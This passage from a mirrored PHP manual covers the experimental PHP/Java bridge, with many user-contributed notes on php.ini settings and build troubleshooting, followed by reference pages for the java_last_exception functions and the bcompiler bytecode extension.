with Java-Brdige package change line java_require("test/arrayToString.jar");
to java_require("tests.php4/arrayToString.jar");

Add the following to your php.ini file and restart server:-
java.classpath = "location of JavaBridge.jar file...i.e. to your PHP extensions folder\
JavaBridge.jar,also any other extra java files that you'll be instanciating using your php script"
java.java_home = "location of jdk\bin"
java.libpath = "location of php_java.dll file...i.e. also to your PHP extensions folder"

happy integration

Cheers!!
stanley dot turnteen at gmail dot com
01-Sep-2005 03:51
The php-java-bridge from sourceforge works great - it's stable and fast. I'm using it with the Lucene full text indexing package (http://lucene.apache.org/java/docs/index.html).
beoran at gmail dot com
25-May-2005 08:24
The php-java-bridge mentioned below is indeed the way to go. It also works fine on a php 4.3.2 Linux web server. I think I can reccomend it.
08-May-2005 05:04
<quote> JVM runs fine the first time, then broke....  </quote>

The php4 java extension is simply broken, don't use it.  I am
using the "PHP Java Bridge" for PHP5 with great success on WinNT:

http://php-java-bridge.sourceforge.net
ing dot ldf at gmail dot com
07-May-2005 02:38
Reading the other post... i can run java with php.
OS: Win 2000p
PHPDev 4.2
Java j2sdk1.4.2_01

my php.ini file is set like this:

[Java]
java.class.path = "C:\php\php\extensions\php_java.jar; C:\j2sdk1.4.2\jre\lib;C:\j2sdk1.4.2;"
java.home = "C:\j2sdk1.4.2_01\bin"
java.library = "C:\j2sdk1.4.2_01\jre\bin\server\jvm.dll"
java.library.path = "C:\php\php\extensions"

I have a great doubt about this..... JVM runs fine the first time, then broke.... and send a message like this:
Fatal error: Unable to create Java Virtual Machine in localhost\pag1.php on line 37
jost2345 at yahoo dot de
31-Aug-2004 08:08
The PHP/Java bridge that has been posted some time ago is now available on sourceforge.net.  It contains several bugfixes and is meant to be used as a replacement for the expermental PHP4 java bridge.

  http://sourceforge.net/projects/php-java-bridge/

So please don't send me private e-mails anymore to obtain the sourcecode for the bridge.

PHP/5 users may want to wait for the official PHP/Java bridge, which I expect to appear in a few years when java contains the appropriate hooks.
okapi at yahoo dot com
27-Aug-2004 01:05
As mentioned prior, Zend is working to be the first of an official servlet / scripting integration. I've been testing their reference implementation that's available on the JSR 223 site and it's working pretty good. Some minor issues around the edges, but been working with one of their developers to fix it. So far, pretty good.
drgroove at myway dot com
07-Aug-2004 07:33
@ smc+phpman

Zend/PHP is likely awaiting the finalization of JSR223, which seeks to allow scripting languages a much clearer form of communication to/from Java.

http://jcp.org/en/jsr/detail?id=223

This is a joint effort between Sun & Zend, among others. PHP will be the first language supported out of this JSR effort, others (such as Perl) will follow.

 - DrGroove
Moderator, Devshed.com PHP forum
a9702466 at gmx dot net
04-Mar-2004 01:08
The Java Servlet SAPI works fine in a non-threading
environment. If you want to use threads (normal case) you
have to do several things to get it work:

- get the patched files from
  http://www.pelikan-it.com/download.html

- replace the sapi/servlet/servlet.java and
  sapi/servlet/servlet.c file by the patched files

- build the php like this
  ./configure --with-tsrm-pthreads \
   --with-servlet=/opt/resin --with-java=/opt/java \
   --prefix=/opt/php-4.3.4

The primary problem is, that the request and response
objects are stored as global instance-variables of the servlet
which will be overwritten by other threads invoking the
servlet (remember: just on servlet-object for all threads!) and
all crashes. I changed the servlet to pass the request and
response objects to the java- and native-methods (where
required) to prevent the problem.

Once you have solved this problem it works fine and needs
unlike the java-extension just one jvm.
norman at junkonline dot com
29-Feb-2004 08:16
This works fine on MacOS X (Panther). The one trick is, you need to symlink "java.so" in your php extensions directory to "libphp_java.jnilib".

Here's the relevant section from my php.ini file for anyone who needs it:

[Java]
java.class.path = "/usr/local/lib/java/php_java.jar"
java.home = "/System/Library/Frameworks/JavaVM.framework/Versions/1.4.2/Home"
java.library.path = "/usr/local/lib/php/extensions/no-debug-non-zts-20020429"
extension=java.so

You may have decided to put php_java.jar somewhere other than where I did.

For some reason, setting java.library in the ini file causes this to fail, so I left it out and things worked flawlessly without it. YMMV.
Thomas
25-Feb-2004 11:44
The documentation is missing an important note:

The PHP/JAVA bridge only works on threaded http servers such as IIS, it does NOT work on http servers such as APACHE which fork off (sub-)processes.

The reason for this is that for each new request APACHE fork()'s off a new and independed copy of itself, initializes the java VM and eventually passes control over to VM until the request is finished.  If the request is  finished, the child with the java VM go to the apache pool.

That means that after a while hundreds (up to MAX-PROCESSES) of  java VM's are in the apache pool each of them eating away up to 64MB.  The machine may sooner or later crash because it ran out of memory. (If you have luck, the bridge will not run at all because apache was not statically linked to the pthreads library).

Although another PHP/Java bridge exists that does not have this problem (do a google search for "A new PHP/JAVA module"), the java binding (used by both bridges) has also problems one must be aware of. For example if one creates a Properties() object, one will receive a reference to it and may ask this reference for its values. However, if one invokes a method that returns a Properties() object, one will receive an array of values, not a reference to the Properties() object.

In short: If you want to use java from php in IIS, you can use this bridge. BUT if you want to use java from php in APACHE, you must use a socket approach (for an example see "A new PHP/JAVA module").
georgedaswani at hotmail dot com
03-Feb-2004 06:39
I was able to compile java support in no problem and got it working sun jdk 1.4.2_03 (linux)

make sure JAVA_HOME is set

make sure LD_LIBRARY_PATH has

$JAVA_HOME/jre/lib/i386

on php.ini

[Java]
java.home = "/opt/j2sdk1.4.2_03"
java.class.path = "/opt/php/lib/php/php_java.jar:/opt/php/java-packages"
java.library.path = "/opt/php/lib/php/extensions/no-debug-zts-20020429"
extension_dir= "/opt/php/lib/php/extensions/no-debug-zts-20020429"
extension = java.so

It's import to note that APACHE 2 needs to be compiled using "PREFORK" instead of a thread based else the java stuff will work for a minute, then stop working with the following error

"PHP Fatal error:  Unable to create Java Virtual Machine"

Seems that the extension is not thread safe.
08-Nov-2003 02:00
http://www.aspet.net/contents.php?cid=15

PHP-Java-MySQL example downloads: http://www.aspet.net/download/php_java.zip
golob a with tail gimb little spot org
03-Jun-2003 09:57
This module allows PHP to interact with some interesting pieces of software - for one, it allows PHP to convert XML FO files into PDF/PS/... with the use of Apache FOP processor.

Here's an example:
<?
$basedir = new Java("java.io.File", ".");
$outdir = new Java("java.io.File", "out");
$outdir->mkdirs();

$fofile = new Java("java.io.File", $basedir, "xml/fo/helloworld.fo");
$pdffile = new Java("java.io.File", $outdir, "ResultFO2PDF.pdf");

echo "Input: ".$fofile->toString()."\n";
echo "Output: ".$pdffile->toString()."\n";

$driver = new Java("org.apache.fop.apps.Driver");
$logger = new Java("org.apache.avalon.framework.logger.ConsoleLogger");
$driver->setLogger($logger);
$driver->setRenderer($driver->RENDER_PDF);
$out = new Java("java.io.FileOutputStream", $pdffile);
$driver->setOutputStream($out);
$in = new Java("java.io.FileInputStream", $fofile);
$driver->setInputSource(new Java("org.xml.sax.InputSource", $in));
$driver->run();
$in->close();
$out->close();
?>
raggha at hotmail dot com
13-Jan-2003 06:45
Just wanted to make available the solution I found posted on

   http://bugs.php.net/bug.php?id=18600

to solve the typical "Fatal error: Unable to Create Java Virtual Machine" trouble for Win32 users (thanks buddy):

[12 Dec 2002 9:19am] Alberto.Sarini@libero.it
Hi there,

I'm confirming Cdric's knowledge - java is running correctly from within PHP on Apache only when PHP is running as a CGI and not as a SAPI module. When running PHP as Apache SAPI Module after the restart Apache only fist access to php page using java is running OK, all next reloads of this page caused "Fatal error: Unable to create Java Virtual Machine
in ..." I think this could be still not solved bug.

Thanks
Alberto

BTW I'm running on:
OS:Win2000 Server SP2
Apache:1.3.27
PHP Version 4.3.0-dev (Build Date  Dec 12 2002 10:14:28)
Java version=1.4.1_01
Java vendor=Sun Microsystems Inc.
neil at lowden dot net
03-Jan-2003 05:41
** Success with W2K Server, PHP 4.3.0 as IIS5 SAPI module and J2SDK1.4.1_01 **

After a bunch of annoyingly spurious "access violation" and "Unable to create Java Virtual Machine" errors
I changed the php.ini setting for java.library from:

"C:\j2sdk1.4.1_01\jre\bin\client\jvm.dll"

to:

"C:\j2sdk1.4.1_01\jre\bin\server\jvm.dll"

All above examples now work perfectly incuding my own classes and those at
http://www.onlamp.com/pub/a/php/2001/06/14/php_jav.html (thanks to emilebosch above on 18-Oct-2001 07:19).

I'd really like to know the difference between 'client' and 'server' JVM versions if anyone can illuminate us.

Notes:

1. Manual install of PHP 4.3.0 to C:\php with the following relevant extracts from php.ini:

extension=php_java.dll
[Java]
java.class.path = "C:\php\extensions\php_java.jar;C:\java\packages\"
java.home = "C:\j2sdk1.4.1_01\bin"
java.library = "C:\j2sdk1.4.1_01\jre\bin\server\jvm.dll"
java.library.path = "C:\php\extensions"

2. Default installation of latest Java SDK from Sun

3. Win2K Server SP2 with all(?) patches

4. My own classes are placed in C:\java\packages\

Hope this helps some people.

Regards

-Neil
jason at buildernaut dot com
19-Dec-2002 10:28
ON Linux / Apache --with-apxs
Page cannot be displayed - Apache crapping out.
I spent a great deal of time getting this to work - but hey - I'm a newbie.
One thing I did find was that I experienced an error I have not seen on this board or anywhere else in searches.
If you try to run a test java .php page and you get a page cannot be displayed error, try adding the follwing to your apache startup script

export LD_LIBRARY_PATH=/usr/lib/j2sdk1.3/jre/lib/i386/server
:/usr/lib/j2sdk1.3/jre/lib/i386

And of course change to paths that mean something to you.
joey at creativejuices dot ws
12-Dec-2002 08:27
***  Win32 Users & Using Command-line Interface ***

First of all, this is AWESOME!!!!  I think PHP just took a huge leap forward with this capability!

Here is what you need:

In the Php.in file:

;Windows Extensions
extension=php_java.dll

[Java]
java.class.path = "C:\php\java\php_java.jar"
java.home = "C:\J2SDK_Forte\jdk1.4.0\jre"
java.library = "C:\J2SDK_Forte\jdk1.4.0\jre\bin\client\jvm.dll"
java.library.path = "C:\php\extensions"

**** Don't forget the double-quotes in the values ! ****

Next, add the file type association for Windows 2000.

1) open Windows Explorer
2) Click the Tool Menu Item
3) Select "Folder Options"
4) Select "File Types" tab
5) Select "New"
6) Type in your file extension for php scripts, I suggest ".phx" without the double-quotes
7) Click "Ok"
8) Find that extension in the "File Types" list again.  You may have to back out and come back in to find it.
9) Once you found that newly added php extension, select the "Advanced" button.  You can change the Icon here, but what you want to do is click the "New" button next to the "Actions" area.
10) For the "Action" value enter the value "open" without the quotes.
11) For the "Action used to perform this action:" value enter the value "C:\php\php-cli.exe -c C:\WINNT %1" without the quotes.

Lastly, add c:\php to you PATH Environment variable on your computer.

That should do it.  You can test it by creating a test.phx file and open a cmd (DOS) window and cd into that directory(eg. c:\junk) and just execute your test file like this: c:\junk test.phx

This should return you your results as expected.  If you don't know much about the php-cli.exe (cli = Command-Line Interface) go here http://www.php.net/manual/en/features.commandline.php.

I used the person's example at the top of this page and it worked.

Now, if I can just figure out how to call my own custom classes that have their own packages.
mike [at] blamires (dot) co (dot) uk
07-Nov-2002 08:45
For win32 users: I spent some time wondering why the php session couln't find my classes/packages saved in my own custom classpath. even though the correct paths were specified in java.class.path. The reasons was as simple as double quotes. e.g.

java.class.path = c:\php\extensions\php_java.jar; c:\java\packages\  - incorrect, the packages & classes in c:\java\packages will not be found

java.class.path = "c:\php\extensions\php_java.jar;c:\java\packages\" - will find all your classes and packages in c:\java\packages

Thanks to PHP for another stunning feature.
Mike
aruntheking at hotmail dot com
09-Oct-2002 06:40
Something that i missed out in my above mentioned earlier note on the same
topic, Thanks to Pablo for reminding me the same

Important
-------------

After you have completed the above mentioned steps, open the httpd file in /etc/init.d and type the following lines

LD_LIBRARY_PATH=:/usr/local/j2sdk1.4.0_02/jre/lib/i386
:\/usr/local/j2sdk1.4.0_02/jre/lib/i386/server

else you will get an error stating libverify.so not found

Another process
---------------

Before compiling PHP complete the following steps:
edit your /etc/ld.so.conf file by adding the following two lines:

/usr/local/j2sdk1.4.0_02/jre/lib/i386
/usr/local/j2sdk1.4.0_02/jre/lib/i386/server

To make this change effect, type the following at the command prompt:

ldconfig

Now "cd" into /usr/local/j2sdk1.4.0_02/jre/lib/i386 directory and enter the following command:

ldd libjava.so

The response that you get back shouldn't contain any "not found" error messages. If you get any then you can add the path for

the "not found" file to /etc/ld.so.conf and redo the above mentioned steps till you don't get any error messages.

Now you can compile PHP in the process mentioned above and follow the rest of the steps.
pablo-at-godel.com.ar
01-Oct-2002 05:22
For those using Redhat 7.x and Sun JDK, you have to set in LD_LIBRARY_PATH the directory where libjava.so .

In my case it looks like:
LD_LIBRARY_PATH=:/usr/local/j2sdk1.4.0_02/jre/lib/i386:\
/usr/local/j2sdk1.4.0_02/jre/lib/i386/server

This solved my problem with libjava.so not finding libverify.so

Hopes this helps to save some time for others.. I spent a lot of time before figuring this one out...
aruntheking at hotmail dot com
19-Sep-2002 11:55
Installing PHP 4.2.3 on Red Hat Linux7.2
with Java Support-Arunoday
-------------------------------

PHP as CGI module
------------------

1. Download PHP from www.php.net
2. Copy the file in the folder you want to have it installed like
 /usr/local
3. Unpack the file using the following commands
gunzip php-4.2.3.tar.gz
tar xvf php-4.2.3.ta
This will create a directory php-4.2.3.
4. cd into the above mentioned directory and type
 ./configure --with-java=<java directory>
You can add more options with
configure.
For a full list of options type ./configure --help | more

5. If configure doesn't through any error then type make
6. To test make you can type make test
7. To complete the installation type make install
In all probability the actual binary that this will create
by the name php will be in
the /usr/local/bin directory.
This file should then be copied to your
cgi-bin directory[the webservers cgi-bin]

in my system i issued the following command
cd /usr/local/bin/php /var/www/cgi-bin/php.cgi

8. Modify the php.ini with the following lines

[java]
java.class.path=/usr/local/lib/php/php_java.jar
java.library.path=/usr/local/lib/php
/extensions/no-debug-non-zts-20020429
java.home=/usr/local/j2sdk1.4.0_02
java.library=java.so
extensions_dir=/usr/local/lib/php/extensions/no-debug-non-zts-20020429
extension=java.so

in all probability the php.ini file will be
in the php4.2.3/pear/tests directory
- u will need to copy it to the
/usr/local/lib directory and add the above lines

You will also need to cd into the directory specified in java.library.path
above and type the following
ln -s java.so libphp_java.so
This will make a symbolic link to java.so file through libphp_java.so.

A call to any of your PHP file will have to be like the following:
http://<yourhostname>/cgi-bin/php.cgi?<yourfilename>.php

PHP as Dynamic Shared Object
----------------------------
Retrieve PHP binary as mentioned above.
The configiration process will be different and will be as follows:
./configure --with-apxs=/usr/sbin/apxs
--with-java=/usr/local/j2sdk1.4.0_02 --with postgresql

postgresql is optional - u can leave it out if you donot want to use it.
apxs is required as it gives the directive to configure php as a dynamic shared object with Apache.
Advantage, it runs in the same memory space as Apache
and hence accessing of data is faster.
Apart from this there is no need to call the php interpreter (php.cgi) with every call to a PHP file.

Add the following lines in the php.ini file - it should be in /usr/local/lib

[Java]
java.class.path=/usr/local/lib/php/php_java.jar
:/usr/share/pgsql/jdbc7.1-1.2.jar:/var/www/html
java.home=/usr/local/j2sdk1.4.0_02
java.library=/usr/local/j2sdk1.4.0_02/jre/lib/i386/libjava.so
extension_dir=/usr/local/lib/php/extensions/no-debug-non-zts-20020429
extension=java.so

You will also need to cd into the directory specified in java.library.path
above and type the following
ln -s java.so libphp_java.so
This will make a symbolic link to java.so file through libphp_java.so.

Note: the jdbc7.1-1.2.jar file mentioned in java.class.path
is the JDBC part for Postgresql.
alexg at syspro dot co dot za
29-Aug-2002 02:50
According to an Article posted at:

http://www.zend.com/zend/week/week91.php#Heading7

there might be some problems with getting php and jdk-1.4 to work toghether.. I`ve tried (php-4.2.2 and jdk-4.1) with no success....
amtd at 163 dot net
11-Jun-2002 06:45
--php.ini-------------------------

[Java]
java.class.path = .\extensions\php_java.jar
java.home = c:\java
java.library = C:\java\jre\bin\server\jvm.dll
java.library.path = c:\apache\php\extensions

--system---------------------------

Windows 2000 P + Apache + SUN jdk 1.4.0-beta3

--app path---------------------------

java(C:\java)
Apache(C:\apache)
PHP(C:\apache\php)

-----------------------------

success!
gturner at newedgenetworks dot com
31-May-2002 04:20
Hello!  I have two tips about getting PHP Java to work, hopefully google will pick this up...

After you've followed the instructions (building PHP with Java enabled and hacking php.ini) and you get a message like:

  Fatal error: Cannot instantiate non-existent class: java in (file) on line (line)

That means PHP doesn't know what the 'Java' function is.  You can confirm that the Java extension isn't loaded by looking at 'phpinfo' and verifying that there is no section titled Java.  To fix this you need to edit php.ini and set the 'extensions_dir' and an 'extension' appropriately.  On our system it was 'extension_dir = /opt/php/lib/php/extensions/no-debug-non-zts-20020429' and an 'extension = java.so'.  All the documentation I found said the extension library should be called 'php_java.so', but our build produced 'java.so', I have no idea why, YMMV.

The next error message I ran into was:

  Fatal error: java.lang.UnsatisfiedLinkError: no php_java in java.library.path in (file) on line (line)

Yay! this confirms that the JVM is indeed loading (UnsatisfiedLinkError is totally on the Java side), so relax, you're almost done!  What's happening is that the Java class 'net.php.reflect' (a class in php_java.jar that is built by PHP) is trying to execute 'System.loadLibrary("php_java")' and the JVM is unable to find the file named 'libphp_java.so' (or maybe 'php_java.dll' on Windows?).  If you ever heard of LD_LIBRARY_PATH, java.library.path is the same thing.  The solution has two parts: First making sure the php.ini has a 'java.library.path' (in the '[java]' section) that's pointed at the same directory that 'extension_dir', specifically the directory containing the file 'java.so' (or maybe 'php_java.so' like everyone else).  Second, this part is bad IMHO, making a symbolic link from the ''java.so' file to 'libphp_java.so' so that Java's System.loadLibrary method can find what it's looking for (apparently Java prefixes the filename it looks for with "lib").  To make this symbolic link do 'cd' into the extensions directory and run 'ln -s java.so libphp_java.so'.

Hope somebody finds this useful!
venuti at sissa dot it
04-Mar-2002 10:23
Invoking java servlet from PHP.
This might look silly, but I found many people on the net asking how to invoke a java servlet from php. Read these notes:
http://archives.neohapsis.com/archives/php/2001-03/0040.html
(look for the message about servlets).
Basically, it's like calling any other URL, so you can use the "file" function. Read also the online documentation about "file".
This solution is much easier than many others I have found around the net.
not_contactable at yahoo dot com
04-Mar-2002 03:16
Installation of PHP's Java module under Win32(Apache/IIS).

I install php in "C:\php", firstly I install with "php-4.1.1-installer.exe"(from http://www.php.net/downloads.php), and then unzip the "php-4.1.1-Win32.zip"(from http://www.php.net/downloads.php) to the C:\PHP.(because all the extension dll files are from this zip file, including php_java.dll)

I also install my Java v1.3 in "C:\jdk1.3"

And My Program require JDBC connection of the Java Program, so I did install also the JDBC driver for MySQL in "c:\JDBC4mysql\mm.mysql.jdbc-1.2c"(from http://www.mysql.com/Downloads/Contrib/mm.mysql.jdbc-1.2c.tar.gz).

About the PHP.ini:
1> You need to set the extension_dir="c:\php\extensions"(directory of all the extensions dll files)

2> Add those lines at the end of php.ini
======
[Java]
extension=php_java.dll
java.class.path="c:\php\java\php_java.jar;c:\wwwroot; c:\JDBC4mysql\mm.mysql.jdbc-1.2c"
java.home="c:\jdk1.3\bin"
java.library="c:\jdk1.3\jre\bin\hotspot\jvm.dll"
java.library.path="c:\php\extensions"
======

* extension: it is the DLL you wish to load in, here we want to load the java module.
* java.class.path: By default, you need to include the "C:\php\java\php_java.jar" for Java & PHP connection, AND those directories that contain the Java class files you wish to run. Here, my program Java classes are in "c:\wwwroot\", and ALSO the JDBC driver classes in "c:\JDBC4mysql\mm.mysql.jdbc-1.2c", because my Program need to import it.
* java.home: the bin directory (directory of java.exe)
* java.library: jvm.dll is supposed to be under JDK's jre\bin\hotspot, but sometimes it doesn't, try to Find(Start->Find) jvm.dll where it is.
* java.library.path: which is the same as the extensions directory.
christian at wenz dot org
08-Feb-2002 08:36
JDK1.4 RC is out, here are my Windows settings that make the Java extension work:

extension=php_java.dll
[Java]
java.class.path = c:\php\java\php_java.jar
java.home = d:\jdk1.4\jre
java.library = d:\jdk1.4\jre\bin\server\jvm.dll

I have not tested (yet) whether installing just the JRE works; for servlet support w/ Tomcat you do need JDK since Tomcat needs tools.jar that is not part of JRE.
ywliu at _spam_me_not_ dot hotmail dot com
30-Jan-2002 03:13
Hello,

There are two more useful links on phpbuilder.com in the PHP&JAVA discussion. They are related to the PHP and Java integration on Unix/Linux.

My settings (see above) is like that in the 1st link.

http://www.phpbuilder.com/annotate/message.php3?id=1009175
http://www.phpbuilder.com/annotate/message.php3?id=1008864

Moreover, I have the path to java in my PATH env. variable, so MAYBE its why my libjava.so works.  I couldn't find the origin of libjava.so, but now looks there are libjava.so and libjvm.so two options.

I built my php from the source package, and libphp_java.so does exist, at least on my RH6.2 with Apache 1.3.19 and Sun JDK 1.3.1.  libphp_java.so should be found under php-4.1.1/ext/java/.libs .

If you want to find some more discussion about PHP & Java integration, you may try  www.phpbuilder.com and look for php&java. It's a good place to start with.

Yen-Wei Liu
fernando at lozano dot eti dot br
25-Jan-2002 07:20
I managed to get it working with IBM Java SDK 1.3.0 but it was not easy. Here's my php.init:

[Java]
extension = libphp_java.so
java.library.path = /usr/local/lib/php/extensions/no-debug-non-zts-20010901
java.class.path = /usr/local/lib/php/php_java.jar
java.home = /opt/IBMJava2-13
java.library = /opt/IBMJava2-13/jre/bin/classic/libjvm.so

Besides, I had to edit the httpd init.d script to include the statement:

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/opt/IBMJava2-13/jre/bin:\
/opt/IBMJava2-13/jre/bin/classic

I guess java.library.path should serve for this, but it didn't worked.
Magnus_Naeslund at nowhere dot to dot be dot found
25-Dec-2001 01:52
An _very_ important thing here is to remember that the apache must be linked with pthreads (do "LDFLAGS=-lpthread ./configure <options>", or like me, add it the the .spec file).
You can check if your apache is pthreaded with "ldd $(which httpd)" if you like.
I experianced a lot of hangs/errors due to this problem, it's a shame that it's not in the docs / README (i didn't find it).

Magnus
add a note add a note

后退 | 起点 | 前进
pdo_drivers | 上一级 | java_last_exception_clear


java_last_exception_clear

(PHP 4 >= 4.0.2, PECL)

java_last_exception_clear -- Clear last Java exception

Description

void java_last_exception_clear ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

See java_last_exception_get() for an example.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PHP / Java Integration | 上一级 | java_last_exception_get


java_last_exception_get

(PHP 4 >= 4.0.2, PECL)

java_last_exception_get -- Get last Java exception

Description

object java_last_exception_get ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

The following example demonstrates the usage of Java's exception handler from within PHP:

例子 1. Java exception handler

<?php
$stack = new Java('java.util.Stack');
$stack->push(1);

// This should succeed
$result = $stack->pop();
$ex = java_last_exception_get();
if (!$ex) {
  echo "$result\n";
}

// This should fail (error suppressed by @)
$result = @$stack->pop();
$ex = java_last_exception_get();
if ($ex) {
  echo $ex->toString();
}

// Clear last exception
java_last_exception_clear();
?>

add a note add a note User Contributed Notes
molli at loria dot fr
25-Jul-2001 06:50
Just pay attention to the return value
of java_last_exception_get(), it's an
exception java object.

To use it just call normal operations on a exception java object:

ex:

@$myconnect->execute(); // @ to avoid warning...
$exc=java_last_exception_get();
$res=$exc->getMessage(); // method call on a exception object...
$exres="class nToxic.Connect:login failed";
$this->assert($res == $exres, "$res == $exres");
add a note add a note

后退 | 起点 | 前进
java_last_exception_clear | 上一级 | PHP bytecode Compiler


PHP bytecode Compiler

PHP 手册
后退 前进

CVIII. PHP bytecode Compiler

简介

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

Bcompiler was written for two reasons:

To encode entire script in a proprietary PHP application
To encode some classes and/or functions in a proprietary PHP application
To enable the production of php-gtk applications that could be used on client desktops, without the need for a php.exe.
To do the feasibility study for a PHP to C converter

The first of these goals is achieved using the bcompiler_write_header(), bcompiler_write_file() and bcompiler_write_footer() functions. The bytecode files can be written as either uncompressed or plain. To use the generated bytecode, you can simply include it with include or require statements.

The second of these goals is achieved using the bcompiler_write_header(), bcompiler_write_class(), bcompiler_write_footer(), bcompiler_read(), and bcompiler_load() functions. The bytecode files can be written as either uncompressed or plain. The bcompiler_load() reads a bzip compressed bytecode file, which tends to be 1/3 of the size of the original file.

To create EXE type files, bcompiler has to be used with a modified sapi file or a version of PHP which has been compiled as a shared library. In this scenario, bcompiler reads the compressed bytecode from the end of the exe file.

bcompiler can improve performance by about 30% when used with uncompressed bytecodes only. But keep in mind that uncompressed bytecode can be up to 5 times larger than the original source code. Using bytecode compression can save your space, but decompression requires much more time than parsing a source. bcompiler also does not do any bytecode optimization, this could be added in the future...

In terms of code protection, it is safe to say that it would be impossible to recreate the exact source code that it was built from, and without the accompanying source code comments. It would effectively be useless to use the bcompiler bytecodes to recreate and modify a class. However it is possible to retrieve data from a bcompiled bytecode file - so don't put your private passwords or anything in it.

安装

short installation note:

  • You need at least PHP 4.3. for the compression to work

  • To install on PHP 4.3 and later at the unix command prompt type pear install bcompiler

  • To install on Windows, until the binary package distribution mechanism is finished please search the archives of the pear-general mailing list for pre-built packages. (or send an email to it if you could not find a reference)

  • To install on older versions you need to make some slight changes to the build.

  • untar the bcompiler.tgz archive into php4/ext.(Get it directly from PECL http://pecl.php.net/get/bcompiler)

  • If the new directory is now called something like bcompiler-0.x, then you should rename it to bcompiler (except you only want to build it as self-contained php-module).

  • If you are using versions before PHP 4.3, the you will need to copy the Makefile.in.old to Makefile.in and config.m4.old to config.m4.

  • run phpize in ext/bcompiler

  • run ./buildconf in php4

  • run configure with --enable-bcompiler (and your other options)

  • make; make install

  • that's it.

Contact Information

If you have comments, bugfixes, enhancements or want to help developing this beast, you can drop me a mail at alan_k@php.net. Any help is very welcome.

目录
bcompiler_load_exe -- Reads and creates classes from a bcompiler exe file
bcompiler_load -- Reads and creates classes from a bz compressed file
bcompiler_parse_class -- Reads the bytecodes of a class and calls back to a user function
bcompiler_read -- Reads and creates classes from a filehandle
bcompiler_write_class -- Writes an defined class as bytecodes
bcompiler_write_constant -- Writes a defined constant as bytecodes
bcompiler_write_exe_footer -- Writes the start pos, and sig to the end of a exe type file
bcompiler_write_file -- Writes a php source file as bytecodes
bcompiler_write_footer -- Writes the single character \x00 to indicate End of compiled data
bcompiler_write_function -- Writes an defined function as bytecodes
bcompiler_write_functions_from_file -- Writes all functions defined in a file as bytecodes
bcompiler_write_header -- Writes the bcompiler header

add a note add a note User Contributed Notes
shannah at sfu dot ca
24-May-2006 06:44
>the special constant __FILE__ cannot be handled correctly by bcompiler
> (it will always contain the name of the original file that was compiled).

I would think that this is the preferred behavior anyways since the compilation should be independent from the source code.  I would want to be able to compile any part of my source code without having to worry if any constants will change as a result of it.  Hence it is better for __FILE__ to contain the name of the original file that was compiled.
arplynn at gmail dot com
28-Apr-2006 11:49
PHP seems to choke on trying to compile PHP5 classes with the private, protected or public modifiers. Additionally, when including files with properly compiled classes on PHP5, it works fine but when php tries to exit it throws a segmentation fault.

It's just not a great idea to use bcompiler for anything other than functions on PHP5, at least for now.
tda at example dot com
07-Feb-2006 09:50
Creating a function after checking if a function exists using function_exists will result in a "Zero Sized Reply" error.

this does NOT work any longer:
if (!function_exists("file_get_contents")) {
       function file_get_contents($filename, $use_include_path = 0)
       { ...define your own function here... }
}

Apache returns: "Zero Sized Reply" after compilation.
alan at akbkhome dot com
28-Oct-2005 10:32
Note:
the special constant __FILE__ cannot be handled correctly by bcompiler (it will always contain the name of the original file that was compiled). There is no known way around this, as it is converted to a string by the Zend engine.
val at php dot net
08-Feb-2005 04:08
Compiled win32 DLLs for PHP 5.0 and 5.1 are also available now at http://snaps.php.net/win32/PECL_5_0/php_bcompiler.dll and http://snaps.php.net/win32/PECL_UNSTABLE/php_bcompiler.dll
dscharrer at gmail dot com
05-Jan-2005 08:37
You can find windows stable at http://snaps.php.net/win32/PECL_STABLE/php_bcompiler.dll
add a note add a note

后退 | 起点 | 前进
java_last_exception_get | 上一级 | bcompiler_load_exe


bcompiler_load_exe

(PECL)

bcompiler_load_exe -- Reads and creates classes from a bcompiler exe file

Description

bool bcompiler_load_exe ( string filename )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Reads data from a bcompiler exe file and creates classes from the bytecodes.

例子 1. bcompiler_load() example

<?php

bcompiler_load_exe("/tmp/example.exe");
print_r(get_defined_classes());

?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PHP bytecode Compiler | 上一级 | bcompiler_load


bcompiler_load

(PECL)

bcompiler_load -- Reads and creates classes from a bz compressed file

Description

bool bcompiler_load ( string filename )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

注: Please use include or require statements to parse bytecodes, it's more portable and convenient way than using this function.

Reads data from a bzcompressed file and creates classes from the bytecodes. Please note that this function won't execute script body code contained in the bytecode file.

例子 1. bcompiler_load() example

<?php

bcompiler_load("/tmp/example");

print_r(get_defined_classes());

?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
bcompiler_load_exe | 上一级 | bcompiler_parse_class


bcompiler_parse_class

(PECL)

bcompiler_parse_class -- Reads the bytecodes of a class and calls back to a user function

Description

bool bcompiler_parse_class ( string class, string callback )

注: This function has been removed from bcompiler and is no longer available as of bcompiler 0.5.

Reads the bytecodes of a class and calls back to a user function.

例子 1. bcompiler_parse_class() example

<?php

function readByteCodes($data) {
  print_r($data);
}

bcompiler_parse_class("DB","readByteCodes");

?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
bcompiler_load | 上一级 | bcompiler_read


bcompiler_read

(PECL)

bcompiler_read -- Reads and creates classes from a filehandle

Description

bool bcompiler_read ( resource filehandle )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

注: Please use include or require statements to parse bytecodes, it's more portable and convenient way than using this function.

Reads data from a open file handle and creates classes from the bytecodes. Please note that this function won't execute script body code contained in the bytecode file.

例子 1. bcompiler_read() example

<?php
$fh = fopen("/tmp/example","r");
bcompiler_read($fh);
fclose($fh);
print_r(get_defined_classes());

?>

